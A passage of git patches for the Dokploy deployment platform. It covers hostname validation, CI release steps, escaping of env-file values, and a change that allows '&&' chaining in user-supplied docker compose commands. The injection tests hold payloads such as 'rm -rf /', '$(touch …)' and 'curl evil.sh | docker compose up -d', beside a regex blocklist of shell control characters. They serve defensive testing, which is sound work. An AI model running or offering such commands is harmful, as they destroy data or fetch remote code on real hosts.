From 5ed94954e62c3207cf4189515d905de91879902e Mon Sep 17 00:00:00 2001 From: Mauricio Siu <47042324+Siumauricio@users.noreply.github.com> Date: Thu, 6 Aug 2026 00:01:57 -0600 Subject: [PATCH 01/22] Merge pull request #4972 from Dokploy/fix/domain-single-label-hostname fix(domain): allow single-label hostnames without a TLD (cherry picked from commit 75448f358e8dc8d15f88d6b0112b1e186ada668d) [skip ci] --- apps/dokploy/__test__/utils/hostname-validation.test.ts | 4 +++- packages/server/src/utils/hostname-validation.ts | 4 ++-- 2 files changed, 5 insertions(+), 3 deletions(-) diff --git a/apps/dokploy/__test__/utils/hostname-validation.test.ts b/apps/dokploy/__test__/utils/hostname-validation.test.ts index c0e734282..4dac477da 100644 --- a/apps/dokploy/__test__/utils/hostname-validation.test.ts +++ b/apps/dokploy/__test__/utils/hostname-validation.test.ts @@ -9,6 +9,9 @@ describe("VALID_HOSTNAME_REGEX", () => { "a.b.c.example.co", "xn--80ak6aa92e.com", "123.example.com", + "example", + "dokploy-server", + "localhost", ])("accepts valid hostname %s", (host) => { expect(VALID_HOSTNAME_REGEX.test(host)).toBe(true); }); @@ -17,7 +20,6 @@ describe("VALID_HOSTNAME_REGEX", () => { "bbn_client.example.com", "-example.com", "example-.com", - "example", "exa mple.com", "example..com", "", diff --git a/packages/server/src/utils/hostname-validation.ts b/packages/server/src/utils/hostname-validation.ts index be3407e5e..bc5aae7b6 100644 --- a/packages/server/src/utils/hostname-validation.ts +++ b/packages/server/src/utils/hostname-validation.ts @@ -1,8 +1,8 @@ // Valid hostname per RFC 1123: labels of letters, digits and hyphens -// (no leading/trailing hyphen), separated by dots. Underscores are rejected +// (no leading/trailing hyphen), optionally separated by dots. Underscores are rejected // because Let's Encrypt refuses to issue certificates for them. export const VALID_HOSTNAME_REGEX = - /^(?:[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?\.)+[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?$/; + /^(?:[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?\.)*[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?$/; export const INVALID_HOSTNAME_MESSAGE = "Invalid domain name. Use only letters, numbers, hyphens and dots (e.g. example.com). Underscores are not allowed."; From 98af5a2f07687379f32cb4f3bf3334307589609b Mon Sep 17 00:00:00 2001 From: Mauricio Siu Date: Thu, 6 Aug 2026 00:42:22 -0600 Subject: [PATCH 02/22] fix(ci): create release tags on the pushed commit instead of default branch (cherry picked from commit 472ebed06c9b804369af51585390cce37ac4c1a4) [skip ci] --- .github/workflows/dokploy.yml | 1 + 1 file changed, 1 insertion(+) diff --git a/.github/workflows/dokploy.yml b/.github/workflows/dokploy.yml index 1c228d27e..12af2c024 100644 --- a/.github/workflows/dokploy.yml +++ b/.github/workflows/dokploy.yml @@ -164,6 +164,7 @@ jobs: uses: softprops/action-gh-release@v2 with: tag_name: ${{ steps.get_version.outputs.version }} + target_commitish: ${{ github.sha }} name: ${{ steps.get_version.outputs.version }} generate_release_notes: true draft: false From b50b1d4c869432bd18c4a7d3ec04e8de8163d724 Mon Sep 17 00:00:00 2001 From: Mauricio Siu <47042324+Siumauricio@users.noreply.github.com> Date: Thu, 6 Aug 2026 00:58:04 -0600 Subject: [PATCH 03/22] Merge pull request #4962 from Dokploy/fix/compose-env-file-special-chars fix: preserve special characters in Compose-generated .env values (cherry picked from commit abe774650f0ca4b2dba7725ab615c74dedfd03e1) [skip ci] --- .../compose/env-file-literals.test.ts | 96 +++++++++++++++++++ .../env-file-literals-dockerfile.test.ts | 43 +++++++++ packages/server/src/utils/builders/compose.ts | 4 +- packages/server/src/utils/docker/utils.ts | 21 ++++ 4 files changed, 162 insertions(+), 2 deletions(-) create mode 100644 apps/dokploy/__test__/compose/env-file-literals.test.ts create mode 100644 apps/dokploy/__test__/deploy/env-file-literals-dockerfile.test.ts diff --git a/apps/dokploy/__test__/compose/env-file-literals.test.ts b/apps/dokploy/__test__/compose/env-file-literals.test.ts new file mode 100644 index 000000000..2dbb7fa4e --- /dev/null +++ b/apps/dokploy/__test__/compose/env-file-literals.test.ts @@ -0,0 +1,96 @@ +import { execFileSync } from "node:child_process"; +import { mkdirSync, rmSync, writeFileSync } from "node:fs"; +import { join } from "node:path"; +import { getCreateEnvFileCommand } from "@dokploy/server/utils/builders/compose"; +import { afterEach, describe, expect, it } from "vitest"; + +// Regression coverage for https://github.com/Dokploy/dokploy/issues/4694 — +// values must survive Docker Compose's own `.env` parsing, not just base64 decode. +const appName = `env-file-literals-${process.pid}`; +const projectPath = join(process.cwd(), ".docker", "compose", appName); +const codePath = join(projectPath, "code"); + +afterEach(() => { + try { + execFileSync("docker", ["compose", "down", "--remove-orphans"], { + cwd: codePath, + stdio: "ignore", + }); + } catch { + // Project may not have been created (e.g. an earlier assertion failed). + } + rmSync(projectPath, { force: true, recursive: true }); +}); + +const cases: Record = { + PASSWORD: "pa$$word", + SPECIAL: '!"#$%&/()=?', + NESTED_JSON: '{"nested":{"a":1}}', + MAIL_PASSWORD: "abc#de", + TRAILING_BACKSLASH: "trailing\\", + QUOTE_INSIDE: 'she said "hi"', + APOSTROPHE: "it's a test", + UNICODE: "héllo wörld 日本語 🚀", + MULTILINE_PEM: "-----BEGIN KEY-----\nabc123\n-----END KEY-----", +}; + +// How each value must be typed in the UI so the (unchanged) dotenv input +// parser resolves it to the raw string in `cases` above. +const inputEncoding: Record = { + PASSWORD: "pa$$word", + SPECIAL: `'!"#$%&/()=?'`, + NESTED_JSON: '{"nested":{"a":1}}', + MAIL_PASSWORD: `"abc#de"`, + TRAILING_BACKSLASH: "trailing\\", + QUOTE_INSIDE: 'she said "hi"', + APOSTROPHE: "it's a test", + UNICODE: "héllo wörld 日本語 🚀", + MULTILINE_PEM: '"-----BEGIN KEY-----\nabc123\n-----END KEY-----"', +}; + +describe("getCreateEnvFileCommand", () => { + it("writes special environment values that Docker Compose reads back literally", () => { + mkdirSync(codePath, { recursive: true }); + + const serviceEnv = Object.entries(inputEncoding) + .map(([key, value]) => `${key}=${value}`) + .join("\n"); + + const command = getCreateEnvFileCommand({ + appName, + composePath: "docker-compose.yml", + env: serviceEnv, + randomize: false, + suffix: "", + serverId: null, + environment: { project: { env: "" }, env: "" }, + } as Parameters[0]); + + execFileSync("bash", ["-c", command]); + + const composeFile = `services:\n test:\n image: busybox\n environment:\n${Object.keys( + cases, + ) + .map((key) => ` - ${key}=\${${key}}`) + .join("\n")}\n`; + writeFileSync(join(codePath, "docker-compose.yml"), composeFile); + + const dumpScript = `for k in ${Object.keys(cases).join(" ")}; do printf '%s\\0' "$k"; eval "printf '%s\\0' \\"\\$$k\\""; done`; + + const out = execFileSync( + "docker", + ["compose", "run", "--rm", "-T", "test", "sh", "-c", dumpScript], + { cwd: codePath, encoding: "utf8" }, + ); + + const parts = out.split("\0"); + const actual: Record = {}; + for (let i = 0; i < parts.length - 1; i += 2) { + actual[parts[i] as string] = parts[i + 1] as string; + } + + for (const [key, value] of Object.entries(cases)) { + expect(actual[key], key).toBe(value); + } + }, 60000); +}); diff --git a/apps/dokploy/__test__/deploy/env-file-literals-dockerfile.test.ts b/apps/dokploy/__test__/deploy/env-file-literals-dockerfile.test.ts new file mode 100644 index 000000000..4ce0f5ded --- /dev/null +++ b/apps/dokploy/__test__/deploy/env-file-literals-dockerfile.test.ts @@ -0,0 +1,43 @@ +import { execFileSync } from "node:child_process"; +import { mkdirSync, readFileSync, rmSync } from "node:fs"; +import { join } from "node:path"; +import { createEnvFileCommand } from "@dokploy/server/utils/builders/utils"; +import { parse } from "dotenv"; +import { afterEach, describe, expect, it } from "vitest"; + +// Unlike compose's .env, this one is read by the app's own build tooling +// (generic dotenv, e.g. Next.js/Vite) — must stay unquoted, not Compose-escaped. +const appName = `env-file-literals-dockerfile-${process.pid}`; +const projectPath = join(process.cwd(), ".docker", "compose", appName); +const codePath = join(projectPath, "code"); +const dockerFilePath = join(codePath, "Dockerfile"); + +afterEach(() => rmSync(projectPath, { force: true, recursive: true })); + +const cases: Record = { + PASSWORD: "pa$$word", + NESTED_JSON: '{"nested":{"a":1}}', + QUOTE_INSIDE: 'she said "hi"', + BACKSLASH: "back\\slash", + UNICODE: "héllo wörld 日本語 🚀", +}; + +describe("createEnvFileCommand", () => { + it("writes special environment values that a generic dotenv parser reads back literally", () => { + mkdirSync(codePath, { recursive: true }); + + const serviceEnv = Object.entries(cases) + .map(([key, value]) => `${key}=${value}`) + .join("\n"); + + const command = createEnvFileCommand(dockerFilePath, serviceEnv, "", ""); + execFileSync("bash", ["-c", command]); + + const written = readFileSync(join(codePath, ".env"), "utf8"); + const parsed = parse(written); + + for (const [key, value] of Object.entries(cases)) { + expect(parsed[key], key).toBe(value); + } + }); +}); diff --git a/packages/server/src/utils/builders/compose.ts b/packages/server/src/utils/builders/compose.ts index e5643074e..1694a48ed 100644 --- a/packages/server/src/utils/builders/compose.ts +++ b/packages/server/src/utils/builders/compose.ts @@ -7,7 +7,7 @@ import { writeDomainsToCompose } from "../docker/domain"; import { encodeBase64, getEnvironmentVariablesObject, - prepareEnvironmentVariables, + prepareEnvironmentVariablesForFile, } from "../docker/utils"; export type ComposeNested = InferResultType< @@ -127,7 +127,7 @@ export const getCreateEnvFileCommand = (compose: ComposeNested) => { envContent += `\nCOMPOSE_PREFIX=${compose.suffix}`; } - const envFileContent = prepareEnvironmentVariables( + const envFileContent = prepareEnvironmentVariablesForFile( envContent, compose.environment.project.env, compose.environment.env, diff --git a/packages/server/src/utils/docker/utils.ts b/packages/server/src/utils/docker/utils.ts index 1aecb1d75..17cf0245c 100644 --- a/packages/server/src/utils/docker/utils.ts +++ b/packages/server/src/utils/docker/utils.ts @@ -465,6 +465,27 @@ export const prepareEnvironmentVariablesForShell = ( return envVars.map((env) => quote([env])); }; +export const prepareEnvironmentVariablesForFile = ( + serviceEnv: string | null, + projectEnv?: string | null, + environmentEnv?: string | null, +): string[] => { + const envVars = prepareEnvironmentVariables( + serviceEnv, + projectEnv, + environmentEnv, + ); + + return envVars.map((pair) => { + const [key, value] = parseEnvironmentKeyValuePair(pair); + const escapedValue = value + .replace(/\\/g, "\\\\") + .replace(/"/g, '\\"') + .replace(/\$/g, "\\$"); + return `${key}="${escapedValue}"`; + }); +}; + export const parseEnvironmentKeyValuePair = ( pair: string, ): [string, string] => { From c9ca719d97d0041ab97688736fb579b802735e8a Mon Sep 17 00:00:00 2001 From: Mauricio Siu <47042324+Siumauricio@users.noreply.github.com> Date: Thu, 6 Aug 2026 01:20:35 -0600 Subject: [PATCH 04/22] Merge pull request #4984 from Dokploy/fix/sync-version-pnpm-pin fix(ci): pin pnpm and strip v prefix in sync-version job (cherry picked from commit 53feb9dd5b717e2f270ddc7eac6694b2c2d805c9) [skip ci] --- .github/workflows/dokploy.yml | 27 +++++++++++++++------------ 1 file changed, 15 insertions(+), 12 deletions(-) diff --git a/.github/workflows/dokploy.yml b/.github/workflows/dokploy.yml index 12af2c024..e30b5d06a 100644 --- a/.github/workflows/dokploy.yml +++ b/.github/workflows/dokploy.yml @@ -140,6 +140,7 @@ jobs: runs-on: ubuntu-latest outputs: version: ${{ steps.get_version.outputs.version }} + npm_version: ${{ steps.get_version.outputs.npm_version }} steps: - name: Checkout uses: actions/checkout@v4 @@ -151,6 +152,7 @@ jobs: run: | VERSION=$(node -p "require('./apps/dokploy/package.json').version") echo "version=$VERSION" >> $GITHUB_OUTPUT + echo "npm_version=${VERSION#v}" >> $GITHUB_OUTPUT - name: Fetch install.sh run: | @@ -181,15 +183,18 @@ jobs: - name: Checkout uses: actions/checkout@v4 + - uses: pnpm/action-setup@v4 + with: + version: 10.22.0 + - name: Sync version to MCP repository run: | git clone https://x-access-token:${{ secrets.DOCS_SYNC_TOKEN }}@github.com/dokploy/mcp.git /tmp/mcp-repo cd /tmp/mcp-repo - jq --arg v "${{ needs.generate-release.outputs.version }}" '.version = $v' package.json > package.json.tmp + jq --arg v "${{ needs.generate-release.outputs.npm_version }}" '.version = $v' package.json > package.json.tmp mv package.json.tmp package.json - npm install -g pnpm pnpm install pnpm run fetch-openapi pnpm run generate @@ -197,55 +202,53 @@ jobs: git config user.name "Dokploy Bot" git config user.email "bot@dokploy.com" git add -A - git commit -m "chore: bump version to ${{ needs.generate-release.outputs.version }}" \ + git commit -m "chore: bump version to ${{ needs.generate-release.outputs.npm_version }}" \ -m "Source: ${{ github.repository }}@${{ github.sha }}" \ --allow-empty git push - echo "✅ MCP repo synced to version ${{ needs.generate-release.outputs.version }}" + echo "✅ MCP repo synced to version ${{ needs.generate-release.outputs.npm_version }}" - name: Sync version to CLI repository run: | git clone https://x-access-token:${{ secrets.DOCS_SYNC_TOKEN }}@github.com/dokploy/cli.git /tmp/cli-repo cd /tmp/cli-repo - jq --arg v "${{ needs.generate-release.outputs.version }}" '.version = $v' package.json > package.json.tmp + jq --arg v "${{ needs.generate-release.outputs.npm_version }}" '.version = $v' package.json > package.json.tmp mv package.json.tmp package.json cp ${{ github.workspace }}/openapi.json ./openapi.json - npm install -g pnpm pnpm install pnpm run generate git config user.name "Dokploy Bot" git config user.email "bot@dokploy.com" git add -A - git commit -m "chore: bump version to ${{ needs.generate-release.outputs.version }}" \ + git commit -m "chore: bump version to ${{ needs.generate-release.outputs.npm_version }}" \ -m "Source: ${{ github.repository }}@${{ github.sha }}" \ --allow-empty git push - echo "✅ CLI repo synced to version ${{ needs.generate-release.outputs.version }}" + echo "✅ CLI repo synced to version ${{ needs.generate-release.outputs.npm_version }}" - name: Sync version to SDK repository run: | git clone https://x-access-token:${{ secrets.DOCS_SYNC_TOKEN }}@github.com/dokploy/sdk.git /tmp/sdk-repo cd /tmp/sdk-repo - jq --arg v "${{ needs.generate-release.outputs.version }}" '.version = $v' package.json > package.json.tmp + jq --arg v "${{ needs.generate-release.outputs.npm_version }}" '.version = $v' package.json > package.json.tmp mv package.json.tmp package.json cp ${{ github.workspace }}/openapi.json ./openapi.json - npm install -g pnpm pnpm install pnpm run generate git config user.name "Dokploy Bot" git config user.email "bot@dokploy.com" git add -A - git commit -m "chore: bump version to ${{ needs.generate-release.outputs.version }}" \ + git commit -m "chore: bump version to ${{ needs.generate-release.outputs.npm_version }}" \ -m "Source: ${{ github.repository }}@${{ github.sha }}" \ --allow-empty git push - echo "✅ SDK repo synced to version ${{ needs.generate-release.outputs.version }}" + echo "✅ SDK repo synced to version ${{ needs.generate-release.outputs.npm_version }}" From 8545a1d9e7f46dba115846d9cb804f39d09cef9c Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Narciso=20E=2E=20N=C3=BA=C3=B1ez=20Arias?= Date: Thu, 6 Aug 2026 11:13:45 -0400 Subject: [PATCH 05/22] Merge pull request #4176 from daniel-abramov/canary fix: add unzip to arch server set up (cherry picked from commit d8bb3f406c0f8e06a1d0e4c4af1d540c8d10f02d) [skip ci] --- packages/server/src/setup/server-setup.ts | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/packages/server/src/setup/server-setup.ts b/packages/server/src/setup/server-setup.ts index 7181880a4..b972d7d85 100644 --- a/packages/server/src/setup/server-setup.ts +++ b/packages/server/src/setup/server-setup.ts @@ -482,7 +482,7 @@ const installUtilities = () => ` case "$OS_TYPE" in arch) - $SUDO_CMD pacman -Sy --noconfirm --needed curl wget git git-lfs jq openssl >/dev/null || true + $SUDO_CMD pacman -Sy --noconfirm --needed unzip curl wget git git-lfs jq openssl >/dev/null || true ;; alpine) $SUDO_CMD sed -i '/^#.*\/community/s/^#//' /etc/apk/repositories From 6ec530043ee92b2662a45cc980ff4ed671b032da Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Narciso=20E=2E=20N=C3=BA=C3=B1ez=20Arias?= Date: Thu, 6 Aug 2026 11:21:22 -0400 Subject: [PATCH 06/22] Merge pull request #4122 from Gabrielgvl/fix/server-schedule-pipefail fix: preserve server schedule failures through tee pipeline (cherry picked from commit 3e306e5dba30dbe75938afdd5e25ac8da1d824cd) [skip ci] --- packages/server/src/utils/schedules/utils.ts | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/packages/server/src/utils/schedules/utils.ts b/packages/server/src/utils/schedules/utils.ts index e81f9a582..65d01afed 100644 --- a/packages/server/src/utils/schedules/utils.ts +++ b/packages/server/src/utils/schedules/utils.ts @@ -174,7 +174,7 @@ export const runCommand = async (scheduleId: string) => { const { SCHEDULES_PATH } = paths(true); const fullPath = path.join(SCHEDULES_PATH, appName || ""); const command = ` - set -e + set -euo pipefail echo "Running script" >> ${deployment.logPath}; bash -c ${fullPath}/script.sh 2>&1 | tee -a ${deployment.logPath} || { echo "❌ Command failed" >> ${deployment.logPath}; From 54272b95b69a11482acc4bd65dbd0ba5a11f4832 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Narciso=20E=2E=20N=C3=BA=C3=B1ez=20Arias?= Date: Thu, 6 Aug 2026 11:40:29 -0400 Subject: [PATCH 07/22] Merge pull request #3867 from karyanayandi/fix/lazy-initializer-for-usestate fix: use lazy initializer for useState with function calls (cherry picked from commit 27377da6fa0672aa324be8d7480d3ed5a79ab420) [skip ci] --- apps/dokploy/components/dashboard/requests/show-requests.tsx | 2 +- .../dashboard/settings/web-server/terminal-modal.tsx | 4 +++- 2 files changed, 4 insertions(+), 2 deletions(-) diff --git a/apps/dokploy/components/dashboard/requests/show-requests.tsx b/apps/dokploy/components/dashboard/requests/show-requests.tsx index 83b5d2bf5..b1a3cfca2 100644 --- a/apps/dokploy/components/dashboard/requests/show-requests.tsx +++ b/apps/dokploy/components/dashboard/requests/show-requests.tsx @@ -63,7 +63,7 @@ export const ShowRequests = () => { const [dateRange, setDateRange] = useState<{ from: Date | undefined; to: Date | undefined; - }>(getDefaultDateRange()); + }>(() => getDefaultDateRange()); // Check if logs exist to determine if traefik has been reloaded // Only fetch when active to minimize network calls diff --git a/apps/dokploy/components/dashboard/settings/web-server/terminal-modal.tsx b/apps/dokploy/components/dashboard/settings/web-server/terminal-modal.tsx index 2647e1dc0..e90ba51f8 100644 --- a/apps/dokploy/components/dashboard/settings/web-server/terminal-modal.tsx +++ b/apps/dokploy/components/dashboard/settings/web-server/terminal-modal.tsx @@ -32,7 +32,9 @@ export const TerminalModal = ({ serverId, asButton = false, }: Props) => { - const [terminalKey, setTerminalKey] = useState(getTerminalKey()); + const [terminalKey, setTerminalKey] = useState(() => + getTerminalKey(), + ); const [isOpen, setIsOpen] = useState(false); const isLocalServer = serverId === "local"; From d3a873a6f5d512f0a42cb54926818bc6d50ae5aa Mon Sep 17 00:00:00 2001 From: Mauricio Siu <47042324+Siumauricio@users.noreply.github.com> Date: Fri, 7 Aug 2026 01:14:42 -0600 Subject: [PATCH 08/22] Merge pull request #5004 from Dokploy/fix/isolated-deployment-traefik-network-label fix: pin Traefik routing to the isolated network on isolated deployments (cherry picked from commit bcab5b059fdf4c7f56f3c2442d388f68b4f1bd8f) [skip ci] --- packages/server/src/utils/docker/domain.ts | 11 +++++++++++ 1 file changed, 11 insertions(+) diff --git a/packages/server/src/utils/docker/domain.ts b/packages/server/src/utils/docker/domain.ts index 8094f1df2..9f9453e1d 100644 --- a/packages/server/src/utils/docker/domain.ts +++ b/packages/server/src/utils/docker/domain.ts @@ -217,6 +217,17 @@ export const addDomainToCompose = async ( labels.unshift("traefik.swarm.network=dokploy-network"); } } + } else { + const isolatedNetwork = compose.suffix || compose.appName; + if (compose.composeType === "docker-compose") { + if (!labels.includes(`traefik.docker.network=${isolatedNetwork}`)) { + labels.unshift(`traefik.docker.network=${isolatedNetwork}`); + } + } else { + if (!labels.includes(`traefik.swarm.network=${isolatedNetwork}`)) { + labels.unshift(`traefik.swarm.network=${isolatedNetwork}`); + } + } } } From 6293a39187556f552401ba381c63a5fc858e0897 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Narciso=20E=2E=20N=C3=BA=C3=B1ez=20Arias?= Date: Fri, 7 Aug 2026 10:34:08 -0400 Subject: [PATCH 09/22] Merge pull request #4997 from ews-pgasser/fix/chaining-canary fix: allow docker compose command chaining (cherry picked from commit 91258d00ad9f2f57610d853b74b52eee2e8acdfd) [skip ci] --- .../compose/compose-command-injection.test.ts | 67 ++++++++++++++++++- packages/server/src/utils/builders/compose.ts | 30 ++++++++- 2 files changed, 94 insertions(+), 3 deletions(-) diff --git a/apps/dokploy/__test__/compose/compose-command-injection.test.ts b/apps/dokploy/__test__/compose/compose-command-injection.test.ts index 372a6fc59..f979c5c84 100644 --- a/apps/dokploy/__test__/compose/compose-command-injection.test.ts +++ b/apps/dokploy/__test__/compose/compose-command-injection.test.ts @@ -28,7 +28,7 @@ const runsSafely = (command: string) => { const PAYLOADS = [ `$(touch ${MARK})`, - "`touch " + MARK + "`", + `\`touch ${MARK}\``, `x; touch ${MARK}`, `x | touch ${MARK}`, ]; @@ -101,4 +101,69 @@ describe("compose createCommand injection", () => { "deploy/docker-compose.prod.yml", ); }); + + it("allows chained docker compose commands with '&&'", () => { + const cmd = createCommand({ + ...base, + command: + "compose pull && docker compose down && docker compose up -d --build", + } as any); + expect(cmd).toBe( + "compose pull && docker compose down && docker compose up -d --build", + ); + }); + + it("allows chaining with the legacy 'docker-compose' spelling", () => { + const cmd = createCommand({ + ...base, + command: "compose pull && docker-compose down", + } as any); + expect(cmd).toBe("compose pull && docker-compose down"); + }); + + it("rejects a single '&' used for backgrounding", () => { + expect(() => + createCommand({ ...base, command: "compose up -d & sleep 1" } as any), + ).toThrow(/Single '&' is not allowed/); + }); + + it("rejects a malformed '&&&' chain", () => { + expect(() => + createCommand({ + ...base, + command: "compose pull &&& docker compose up -d", + } as any), + ).toThrow(/Single '&' is not allowed/); + }); + + it("rejects chained segments that are not docker compose invocations", () => { + expect(() => + createCommand({ + ...base, + command: "compose pull && rm -rf /", + } as any), + ).toThrow(/must strictly start with 'docker compose '/); + }); + + it("rejects an attempted injection smuggled inside a chained segment", () => { + for (const bad of [ + "compose pull && docker compose up -d; touch /tmp/pwn", + "compose pull && docker compose up -d $(touch /tmp/pwn)", + "compose pull && docker compose up -d `touch /tmp/pwn`", + "compose pull && docker compose up -d | touch /tmp/pwn", + ]) { + expect(() => createCommand({ ...base, command: bad } as any)).toThrow( + /Invalid characters/, + ); + } + }); + + it("rejects a chain that only pretends to start with docker compose later in the string", () => { + expect(() => + createCommand({ + ...base, + command: "compose pull && curl evil.sh | docker compose up -d", + } as any), + ).toThrow(/Invalid characters/); + }); }); diff --git a/packages/server/src/utils/builders/compose.ts b/packages/server/src/utils/builders/compose.ts index 1694a48ed..77cfc91db 100644 --- a/packages/server/src/utils/builders/compose.ts +++ b/packages/server/src/utils/builders/compose.ts @@ -70,7 +70,8 @@ Compose Type: ${composeType} ✅`; // Shell control characters that must never appear in a user-provided compose // command: they would let it break out of the `docker ${command}` invocation // into arbitrary host commands. A normal docker compose CLI line never needs them. -const UNSAFE_COMPOSE_COMMAND = /[;&|`$(){}<>\n\\]/; +// Removed '&' from the blocklist to allow '&&' chaining +const UNSAFE_COMPOSE_COMMAND = /[;|`$(){}<>\n\\]/; const sanitizeCommand = (command: string) => { const sanitizedCommand = command.trim(); @@ -81,8 +82,33 @@ const sanitizeCommand = (command: string) => { ); } - const parts = sanitizedCommand.split(/\s+/); + if (sanitizedCommand.includes("&")) { + // Block single '&' (e.g., backgrounding tasks) or malformed chains like '&&&' + if ( + /(? cmd.trim()); + const isSafeChain = chains + .slice(1) + .every( + (cmd) => + cmd.startsWith("docker compose ") || + cmd.startsWith("docker-compose "), + ); + + if (!isSafeChain) { + throw new Error( + "Chained commands must strictly start with 'docker compose '", + ); + } + } + + const parts = sanitizedCommand.split(/\s+/); const restCommand = parts.map((arg) => arg.replace(/^"(.*)"$/, "$1")); return restCommand.join(" "); From 79af8da827281cb1a03ef832074772e9aabeb94a Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Narciso=20E=2E=20N=C3=BA=C3=B1ez=20Arias?= Date: Fri, 7 Aug 2026 15:46:51 -0400 Subject: [PATCH 10/22] Merge pull request #4171 from rpoetrap/fix/docker-host fix: invalid docker host while using docker desktop (cherry picked from commit 1de7b515abdd801e6cf021197adbd9b47b693d46) [skip ci] --- apps/dokploy/server/utils/docker.ts | 16 +++++++++++++++- 1 file changed, 15 insertions(+), 1 deletion(-) diff --git a/apps/dokploy/server/utils/docker.ts b/apps/dokploy/server/utils/docker.ts index 07e4e26e1..084315241 100644 --- a/apps/dokploy/server/utils/docker.ts +++ b/apps/dokploy/server/utils/docker.ts @@ -11,10 +11,24 @@ export const isWSL = async () => { } }; +/** Returns if running in Docker Desktop. */ +export const isDockerDesktop = async () => { + try { + const { stdout } = await execAsync("getent hosts host.docker.internal"); + return !!stdout.trim(); + } catch { + return false; + } +}; + /** Returns the Docker host IP address. */ export const getDockerHost = async (): Promise => { if (process.env.NODE_ENV === "production") { - if (process.platform === "linux" && !(await isWSL())) { + const isLinux = process.platform === "linux" + ? (await Promise.all([isWSL(), isDockerDesktop()])).every((v) => !v) + : false; + + if (isLinux) { try { // Try to get the Docker bridge IP first const { stdout } = await execAsync( From b1795e1d3cf73fe28508cde6016a208be93103fd Mon Sep 17 00:00:00 2001 From: Mauricio Siu <47042324+Siumauricio@users.noreply.github.com> Date: Sat, 8 Aug 2026 23:37:07 -0600 Subject: [PATCH 11/22] Merge pull request #5005 from Dokploy/fix/postgres-image-mountpath-warning fix: warn on postgres image change when the implied data directory mismatches the mounted volume (cherry picked from commit f08c53c9b74279ab0df9ed3410981d6c708dd5f5) [skip ci] --- .../postgres/advanced/show-custom-command.tsx | 47 +++++++++++++++++++ 1 file changed, 47 insertions(+) diff --git a/apps/dokploy/components/dashboard/postgres/advanced/show-custom-command.tsx b/apps/dokploy/components/dashboard/postgres/advanced/show-custom-command.tsx index 07e059ce8..4023230f8 100644 --- a/apps/dokploy/components/dashboard/postgres/advanced/show-custom-command.tsx +++ b/apps/dokploy/components/dashboard/postgres/advanced/show-custom-command.tsx @@ -4,6 +4,7 @@ import { useEffect } from "react"; import { useFieldArray, useForm } from "react-hook-form"; import { toast } from "sonner"; import { z } from "zod"; +import { AlertBlock } from "@/components/shared/alert-block"; import { Button } from "@/components/ui/button"; import { Card, CardContent, CardHeader, CardTitle } from "@/components/ui/card"; import { @@ -18,6 +19,19 @@ import { Input } from "@/components/ui/input"; import { api } from "@/utils/api"; import type { ServiceType } from "../../application/advanced/show-resources"; +const getPostgresMountPath = (dockerImage: string): string => { + const versionMatch = dockerImage.match(/postgres:(\d+)/); + if (versionMatch?.[1]) { + const version = Number.parseInt(versionMatch[1], 10); + if (version >= 18) { + return `/var/lib/postgresql/${version}/docker`; + } + } + return "/var/lib/postgresql/data"; +}; + +const POSTGRES_DATA_PATH_REGEX = /^\/var\/lib\/postgresql(\/|$)/; + const addDockerImage = z.object({ dockerImage: z.string().min(1, "Docker image is required"), command: z.string(), @@ -91,6 +105,27 @@ export const ShowCustomCommand = ({ id, type }: Props) => { } }, [data, form]); + const dockerImage = form.watch("dockerImage"); + + const mountPathWarning = (() => { + if (type !== "postgres" || !dockerImage) return null; + const mounts = data && "mounts" in data ? data.mounts : []; + const dataMounts = mounts.filter( + (mount) => + mount.type === "volume" && + POSTGRES_DATA_PATH_REGEX.test(mount.mountPath), + ); + if (dataMounts.length === 0) return null; + const expectedPath = getPostgresMountPath(dockerImage); + if (dataMounts.some((mount) => mount.mountPath === expectedPath)) { + return null; + } + return { + expectedPath, + currentPath: dataMounts.map((mount) => mount.mountPath).join(", "), + }; + })(); + const onSubmit = async (formData: AddDockerImage) => { await mutateAsync({ mongoId: id || "", @@ -139,6 +174,18 @@ export const ShowCustomCommand = ({ id, type }: Props) => { )} /> + {mountPathWarning && ( + + This image expects its data directory under{" "} + {mountPathWarning.expectedPath}, but the + volume of this database is mounted at{" "} + {mountPathWarning.currentPath}. Changing the + image does not migrate existing data — Postgres may + crash-loop or start with an empty database. Adjust the + volume mount path in the Volumes section or keep a + compatible image before saving. + + )} Date: Sun, 9 Aug 2026 11:38:00 -0600 Subject: [PATCH 12/22] Merge pull request #5024 from Dokploy/fix/stack-containers-worker-nodes-4520 fix: show stack containers running on worker nodes (cherry picked from commit b7db28408d35e842bf4e25d69f8ee71620458a24) [skip ci] --- .../containers/show-compose-containers.tsx | 184 ++++++++++-------- .../dashboard/compose/logs/show-stack.tsx | 4 +- packages/server/src/services/docker.ts | 64 +++++- 3 files changed, 165 insertions(+), 87 deletions(-) diff --git a/apps/dokploy/components/dashboard/compose/containers/show-compose-containers.tsx b/apps/dokploy/components/dashboard/compose/containers/show-compose-containers.tsx index 460223fa5..18ff35738 100644 --- a/apps/dokploy/components/dashboard/compose/containers/show-compose-containers.tsx +++ b/apps/dokploy/components/dashboard/compose/containers/show-compose-containers.tsx @@ -114,6 +114,7 @@ export const ShowComposeContainers = ({ Name State Status + {appType === "stack" && Node} Container ID @@ -121,8 +122,9 @@ export const ShowComposeContainers = ({ {data.map((container) => ( refetch()} @@ -143,7 +145,9 @@ interface ContainerRowProps { name: string; state: string; status: string; + node?: string; }; + appType: "stack" | "docker-compose"; serverId?: string; serviceId?: string; onActionComplete: () => void; @@ -151,6 +155,7 @@ interface ContainerRowProps { const ContainerRow = ({ container, + appType, serverId, serviceId, onActionComplete, @@ -192,7 +197,13 @@ const ContainerRow = ({ variant={ container.state === "running" ? "default" - : container.state === "exited" + : [ + "exited", + "pending", + "preparing", + "starting", + "ready", + ].includes(container.state) ? "secondary" : "destructive" } @@ -201,96 +212,99 @@ const ContainerRow = ({ {container.status} + {appType === "stack" && {container.node || "-"}} - {container.containerId} + 